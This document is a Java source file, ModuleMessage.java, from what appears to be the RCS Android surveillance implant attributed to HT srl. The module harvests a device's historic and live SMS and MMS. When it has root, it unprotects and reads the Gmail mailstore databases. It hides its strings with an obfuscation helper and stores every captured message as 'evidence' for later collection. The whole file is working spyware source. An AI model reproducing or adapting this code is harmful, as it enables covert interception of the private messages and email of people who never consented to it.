/* *******************************************
 * Copyright (c) 2011
 * HT srl,   All rights reserved.
 * Project      : RCS, AndroidService
 * File         : MessageAgent.java
 * Created      : Apr 18, 2011
 * Author		: zeno
 * *******************************************/

package com.android.dvci.module;

import java.io.File;
import java.io.FilenameFilter;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.util.ArrayList;
import java.util.Date;
import java.util.Hashtable;
import java.util.Iterator;
import java.util.concurrent.Semaphore;

import com.android.dvci.ProcessInfo;
import com.android.dvci.ProcessStatus;
import com.android.dvci.Status;
import com.android.dvci.auto.Cfg;
import com.android.dvci.conf.ChildConf;
import com.android.dvci.conf.ConfModule;
import com.android.dvci.conf.ConfigurationException;
import com.android.dvci.db.GenericSqliteHelper;
import com.android.dvci.evidence.EvidenceBuilder;
import com.android.dvci.evidence.EvidenceType;
import com.android.dvci.evidence.Markup;
import com.android.dvci.file.AutoFile;
import com.android.dvci.file.Path;
import com.android.dvci.interfaces.Observer;
import com.android.dvci.listener.ListenerProcess;
import com.android.dvci.listener.ListenerSms;
import com.android.dvci.module.email.Email;
import com.android.dvci.module.email.GmailVisitor;
import com.android.dvci.module.message.Filter;
import com.android.dvci.module.message.Mms;
import com.android.dvci.module.message.MmsBrowser;
import com.android.dvci.module.message.MsgHandler;
import com.android.dvci.module.message.Sms;
import com.android.dvci.module.message.SmsBrowser;
import com.android.dvci.util.ByteArray;
import com.android.dvci.util.Check;
import com.android.dvci.util.DataBuffer;
import com.android.dvci.util.DateTime;
import com.android.dvci.util.WChar;
import com.android.mm.M;

/**
 * The Class MessageAgent.
 * 
 * @author zeno -> Ahahah ti piacerebbe eh?? :>
 * @real-author Que, r0x -> vantatene pure.
 * @bug-sterminator zeno
 */
public class ModuleMessage extends BaseModule implements Observer<Sms> {
	private static final String TAG = "ModuleMessage"; //$NON-NLS-1$
	//$NON-NLS-1$
	private static final int SMS_VERSION = 2010050501;
	private static final int MAIL_VERSION2 = 2012030601;
	private static final int ID_MAIL = 0;
	private static final int ID_SMS = 1;
	private static final int ID_MMS = 2;
	private static final int MAIL_PROGRAM = 2;
	private boolean mailEnabled;
	private boolean smsEnabled;
	private boolean mmsEnabled;

	MsgHandler msgHandler;

	Markup storedMMS;
	Markup storedSMS;
	Markup storedMAIL;

	private Markup configMarkup;
	private Hashtable<String, Integer> lastMail = new Hashtable<String, Integer>();
	private int lastMMS;
	private int lastSMS;
	private Filter[] filterCollect = new Filter[3];
	private Filter[] filterRuntime = new Filter[3];

	// private SmsHandler smsHandler;

	@Override
	public boolean parse(ConfModule conf) {
		setPeriod(NEVER);
		setDelay(100);

		storedMMS = new Markup(this, 1);
		storedSMS = new Markup(this, 2);
		storedMAIL = new Markup(this, 4);
		configMarkup = new Markup(this, 3);

		String[] config = new String[] { "", "", "" };
		String[] oldConfig = new String[] { "", "", "" };
		if (configMarkup.isMarkup()) {
			try {
				oldConfig = (String[]) configMarkup.readMarkupSerializable();
				if (Cfg.DEBUG) {
					Check.log(TAG + " (parse): config size: " + oldConfig.length);
				}
			} catch (Exception e) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (parse) Error: " + e);
				}
				oldConfig = new String[] { "", "", "" };
			}
		} else {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (parse): no oldConfig available");
			}
		}

		// {"mms":{"enabled":true,"filter":{"dateto":"0000-00-00 00:00:00","history":true,"datefrom":"2010-09-28 09:40:05"}},"sms":{"enabled":true,"filter":{"dateto":"0000-00-00 00:00:00","history":true,"datefrom":"2010-09-01 00:00:00"}},"mail":{"enabled":true,"filter":{"dateto":"0000-00-00 00:00:00","history":true,"datefrom":"2011-02-01 00:00:00"}},"module":"messages"}
		try {

			mailEnabled = Status.self().haveRoot() && readJson(ID_MAIL, M.e("mail"), conf, config);
			smsEnabled = readJson(ID_SMS, M.e("sms"), conf, config);
			mmsEnabled = readJson(ID_MMS, M.e("mms"), conf, config);

			if (!config[ID_MAIL].equals(oldConfig[ID_MAIL])) {
				storedMAIL.removeMarkup();
			}

			if (!config[ID_SMS].equals(oldConfig[ID_SMS])) {
				// configSmsChanged = true;
				if (Cfg.DEBUG) {
					Check.log(TAG + " (parse): remove SMS markup");
				}
				storedSMS.removeMarkup();
			}

			if (!config[ID_MMS].equals(oldConfig[ID_MMS])) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (parse): remove MMS markup");
				}
				storedMMS.removeMarkup();
			}

			if (Cfg.DEBUG) {
				Check.log(TAG + " (parse): updating configMarkup");
			}
			configMarkup.writeMarkupSerializable(config);

		} catch (ConfigurationException e) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (parse) Error: " + e);
			}
			return false;
		} catch (IOException e) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (parse) Error: " + e);
			}
			return false;
		}

		return true;
	}

	private boolean readJson(int id, String child, ConfModule jsonconf, String[] config) throws ConfigurationException {
		ChildConf mailJson = jsonconf.getChild(child); //$NON-NLS-1$
		boolean enabled = mailJson.getBoolean(M.e("enabled")); //$NON-NLS-1$
		String digestConfMail = child + "_" + enabled;

		if (enabled) {
			ChildConf filter = mailJson.getChild(M.e("filter")); //$NON-NLS-1$
			boolean history = filter.getBoolean(M.e("history")); //$NON-NLS-1$
			int maxSizeToLog = 4096;
			digestConfMail += "_" + history;
			if (history) {
				Date from = filter.getDate(M.e("datefrom")); //$NON-NLS-1$
				Date to = filter.getDate(M.e("dateto"), null); //$NON-NLS-1$
				// sizeToLog =

				filterCollect[id] = new Filter(history, from, to, maxSizeToLog, maxSizeToLog);
				digestConfMail += "_" + from + "_" + to;
			}
			filterRuntime[id] = new Filter(enabled, maxSizeToLog);

		}

		config[id] = digestConfMail;

		return enabled;
	}

	class ProcessMailObserver implements Observer<ProcessInfo> {

		private String pObserving = M.e("com.google.android.gm");

		@Override
		public int notification(ProcessInfo process) {

			if (Cfg.DEBUG) {
				Check.log(TAG + " (notification): " + process);
			}
			if (process.processInfo.contains(pObserving)) {
				if (process.status == ProcessStatus.STOP) {
					try {
						if (Cfg.DEBUG) {
							Check.log(TAG + " (notification), observing found: " + process.processInfo);
						}
						readHistoricMail(lastMail);
					} catch (IOException e) {
						if (Cfg.DEBUG) {
							Check.log(TAG + " (notification) Error: " + e);
						}
					}
				}
			}
			return 0;
		}

	}

	ProcessMailObserver obs;

	@Override
	public void actualStart() {

		if (mailEnabled) {
			obs = new ProcessMailObserver();
			initMail();
			ListenerProcess.self().attach(obs);
		}

		if (smsEnabled) {
			initSms();
		}

		if (mmsEnabled) {
			initMms();
		}

		if (smsEnabled || mmsEnabled) {
			// Iniziamo la cattura live
			ListenerSms.self().attach(this);
			msgHandler = new MsgHandler(smsEnabled, mmsEnabled);
			msgHandler.start();
		}

	}

	@Override
	public void actualStop() {

		if (mailEnabled) {
			initMail();
			if (obs != null) {
				ListenerProcess.self().detach(obs);
				obs = null;
			}
		}

		if (smsEnabled) {
			ListenerSms.self().detach(this);
		}
		if (msgHandler != null) {
			msgHandler.quit();
		}

	}

	@Override
	public void actualGo() {

		if (mailEnabled) {
			try {
				readHistoricMail(lastMail);
			} catch (IOException e) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (initMail) Error: " + e);
				}
			}
		}

		if (smsEnabled) {
			int mylastSMS = readHistoricSms(lastSMS);
			if (Cfg.DEBUG) {
				Check.log(TAG + " (initSms): next lastSMS: " + mylastSMS);
			}
			updateMarkupSMS(mylastSMS);

		}

	}

	private void initMail() {
		lastMail = storedMAIL.unserialize(new Hashtable<String, Integer>());
		if (Cfg.DEBUG) {
			Check.log(TAG + " (initMail), read lastMail: " + lastMail);
		}
	}

	private void initSms() {
		lastSMS = storedSMS.unserialize(new Integer(0));
		if (Cfg.DEBUG) {
			Check.log(TAG + " (initSms): lastSMS: " + lastSMS);
		}

	}

	private void initMms() {
		if (storedMMS.isMarkup()) {
			try {
				lastMMS = (Integer) storedMMS.readMarkupSerializable();
			} catch (Exception e) {
				storedMMS.removeMarkup();
				lastMMS = readHistoricMms(lastMMS);
				if (Cfg.DEBUG) {
					Check.log(TAG + " (actualStart) Error reading markup: " + e);
				}
			}
		}

		lastMMS = readHistoricMms(lastMMS);

		updateMarkupMMS(lastMMS);
	}

	public synchronized void updateMarkupMMS(int value) {
		try {
			lastMMS = value;
			storedMMS.writeMarkupSerializable(new Integer(value));
		} catch (IOException e) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (updateMarkupMMS) Error: " + e);
			}
		}
	}

	public synchronized void updateMarkupSMS(int value) {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (updateMarkupSMS): " + value);
		}
		storedSMS.serialize(value);
		lastSMS = value;
	}

	public void updateMarkupMail(String mailstore, int newLastId, boolean serialize) {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (updateMarkupMail), mailStore: " + mailstore + " +lastId: " + newLastId);
		}

		lastMail.put(mailstore, newLastId);
		try {
			if (serialize || (newLastId % 100 == 0)) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (updateMarkupMail), write lastId: " + newLastId);
				}
				storedMAIL.writeMarkupSerializable(lastMail);
			}
		} catch (IOException e) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (updateMarkupMail) Error: " + e);
			}
		}
	}

	Semaphore stillReadingEmail = new Semaphore(1);

	private String[] getMailStores(String databasePath) {
		File dir = new File(databasePath);
		File parent = new File(dir.getParent());

		Path.unprotect(parent.getParent());
		Path.unprotect(parent.getAbsolutePath());
		Path.unprotect(dir.getAbsolutePath());

		FilenameFilter filterdb = new FilenameFilter() {
			public boolean accept(File directory, String fileName) {
				// i_3=mailstore.
				return fileName.endsWith(".db") && fileName.startsWith(M.e("mailstore."));
			}
		};
		
		if(!dir.exists()){
			if (Cfg.DEBUG) {
				Check.log(TAG + " (getMailStores) Error: no dir");
			}
			return new String[]{};
		}

		FilenameFilter filterall = new FilenameFilter() {
			public boolean accept(File directory, String fileName) {
				// i_3=mailstore.
				return fileName.startsWith(M.e("mailstore."));
			}
		};

		for (String file : dir.list(filterall)) {
			Path.unprotect(dir + "/" + file, true);
		}

		String[] mailstores = dir.list(filterdb);
		return mailstores;
	}

	private int readHistoricMail(Hashtable<String, Integer> lastMail) throws IOException {

		if (stillReadingEmail.tryAcquire()) {

			try {
				// i_1=/data/data/com.google.android.gm/databases
				String databasePath = M.e("/data/data/com.google.android.gm/databases");

				String[] mailstores = getMailStores(databasePath);
				for (String mailstore : mailstores) {
					if (Cfg.DEBUG) {
						Check.log(TAG + " (readHistoricMail) mailstore: " + mailstore);
					}

					AutoFile file = new AutoFile(mailstore);

					GmailVisitor visitor = new GmailVisitor(this, mailstore, filterCollect[ID_MAIL]);
					GenericSqliteHelper helper = GenericSqliteHelper.open(databasePath, mailstore);

					int lastId = lastMail.containsKey(mailstore) ? lastMail.get(mailstore) : 0;
					if (Cfg.DEBUG) {
						Check.log(TAG + " (readHistoricMail), mailstore: " + mailstore + " lastId: " + lastId);
					}
					visitor.lastId = lastId;

					// i_2=messages
					// M.d("messages")
					int newLastId = (int) helper.traverseRecords("messages", visitor, false);

					if (Cfg.DEBUG) {
						Check.log(TAG + " (readHistoricMail) finished, newLastId: " + newLastId);
					}

					if (newLastId > lastId) {
						updateMarkupMail(mailstore, newLastId, true);
					}
				}
			} catch (Exception ex) {
				if (Cfg.DEBUG) {
					ex.printStackTrace();
					Check.log(TAG + " (readHistoricMail) Error: " + ex);
				}
			} finally {
				stillReadingEmail.release();
			}
		} else {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (readHistoricMail), still reading...");
			}
		}

		return 0;
	}

	private int readHistoricMms(int lastMMS) {
		final MmsBrowser mmsBrowser = new MmsBrowser();
		final ArrayList<Mms> listMms = mmsBrowser.getMmsList(lastMMS);
		final Iterator<Mms> iterMms = listMms.listIterator();

		while (iterMms.hasNext()) {
			try {
				final Mms mms = iterMms.next();
				mms.print();
				if (Cfg.DEBUG) {
					Check.asserts(filterCollect[ID_MMS] != null,
							" (readHistoricMms) Assert failed: filterCollect[ID_MMS] null");
				}
				if (filterCollect[ID_MMS].filterMessage(mms.getDate(), mms.getSize(), 0) == Filter.FILTERED_OK) {
					saveMms(mms);
				}
			} catch (Exception ex) {
				if (Cfg.DEBUG) {
					Check.log(TAG + " (readHistoricMms) Error: " + ex);
				}
			}
		}

		return mmsBrowser.getMaxId();
	}

	private int readHistoricSms(int lastSMS) {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (begin): historic sms harvesting");//$NON-NLS-1$
		}

		final SmsBrowser smsBrowser = new SmsBrowser();
		final ArrayList<Sms> listSms = smsBrowser.getSmsList(lastSMS);
		final Iterator<Sms> iterSms = listSms.listIterator();

		while (iterSms.hasNext()) {
			final Sms s = iterSms.next();
			if (Cfg.DEBUG) {
				Check.asserts(filterCollect[ID_SMS] != null,
						" (readHistoricMms) Assert failed: filterCollect[ID_SMS] null");
			}

			if (filterCollect[ID_SMS].filterMessage(s.getDate(), s.getSize(), 0) == Filter.FILTERED_OK) {
				saveSms(s);
			}
		}

		return smsBrowser.getMaxId();
	}

	private void saveSms(Sms sms) {
		final String address = sms.getAddress();
		final byte[] body = WChar.getBytes(sms.getBody());
		final long date = sms.getDate();
		final boolean sent = sms.getSent();

		if (sms.isValid()) {
			saveEvidenceSms(address, body, date, sent);
		}
	}

	private void saveMms(Mms mms) {
		if (!mms.isValid()) {

			if (Cfg.DEBUG) {
				Check.log(TAG + " (saveMms) Error: mms not valid");
			}

			return;
		}
		final String address = mms.getAddress();
		// MMS Subject:
		final byte[] subject = WChar.getBytes(M.e("MMS Subject: ") + mms.getSubject() + "\n"
				+ M.e("Body: ") + mms.getBody()); //$NON-NLS-1$
		final long date = mms.getDate();

		final boolean sent = mms.getSent();

		saveEvidenceSms(address, subject, date, sent);
	}

	public boolean saveEmail(Email message) {

		int maxMessageSize = 50 * 1024;
		final String mail = message.makeMimeMessage(maxMessageSize);

		if (filterCollect[ID_MAIL].filterMessage(message.getDate(), mail.length(), 0) == Filter.FILTERED_OK) {

			saveEvidenceEmail(message, mail);
		}
		return isStopRequested();

	}

	private void saveEvidenceEmail(Email message, String mail) {
		Check.asserts(mail != null, "Null mail"); //$NON-NLS-1$

		int size = mail.length();
		final int flags = message.isIncoming() ? 0x10 : 0x0;

		final DateTime filetime = new DateTime(message.getReceivedDate());

		final byte[] additionalData = new byte[24];

		final DataBuffer databuffer = new DataBuffer(additionalData, 0, 24);
		databuffer.writeInt(MAIL_VERSION2);
		databuffer.writeInt(flags);
		databuffer.writeInt(size);
		databuffer.writeLong(filetime.getFiledate());
		databuffer.writeInt(MAIL_PROGRAM);

		Check.asserts(additionalData.length == 24, "Mail Wrong buffer size: " + additionalData.length); //$NON-NLS-1$

		try {
			EvidenceBuilder.atomic(EvidenceType.MAIL_RAW, additionalData, mail.getBytes("UTF-8"));
		} catch (UnsupportedEncodingException e) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (saveEmail) Error: " + e);
			}
		} //$NON-NLS-1$
	}

	private boolean saveEvidenceSms(String address, byte[] body, long date, boolean sent) {

		String from, to;

		int flags;

		if (sent) {
			flags = 0;
			from = M.e("local"); //$NON-NLS-1$
			to = address;
		} else {
			flags = 1;
			to = M.e("local"); //$NON-NLS-1$
			from = address;
		}

		final int additionalDataLen = 48;
		final byte[] additionalData = new byte[additionalDataLen];

		final DataBuffer databuffer = new DataBuffer(additionalData, 0, additionalDataLen);
		databuffer.writeInt(SMS_VERSION);
		databuffer.writeInt(flags);

		final DateTime filetime = new DateTime(new Date(date));
		databuffer.writeLong(filetime.getFiledate());
		databuffer.write(ByteArray.padByteArray(from.getBytes(), 16));
		databuffer.write(ByteArray.padByteArray(to.getBytes(), 16));

		EvidenceBuilder.atomic(EvidenceType.SMS_NEW, additionalData, body);

		return isStopRequested();
	}

	public int notification(Sms s) {
		// Live SMS
		saveSms(s);
		return 0;
	}

	public int notification(Mms mms) {
		// Live MMS
		saveMms(mms);
		int id = mms.getId();
		updateMarkupMMS(id);

		return 0;
	}

	public synchronized int getLastManagedMmsId() {
		return lastMMS;
	}

	public synchronized int getLastManagedSmsId() {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (getLastManagedSmsId): " + lastSMS);
		}
		return lastSMS;
	}
}
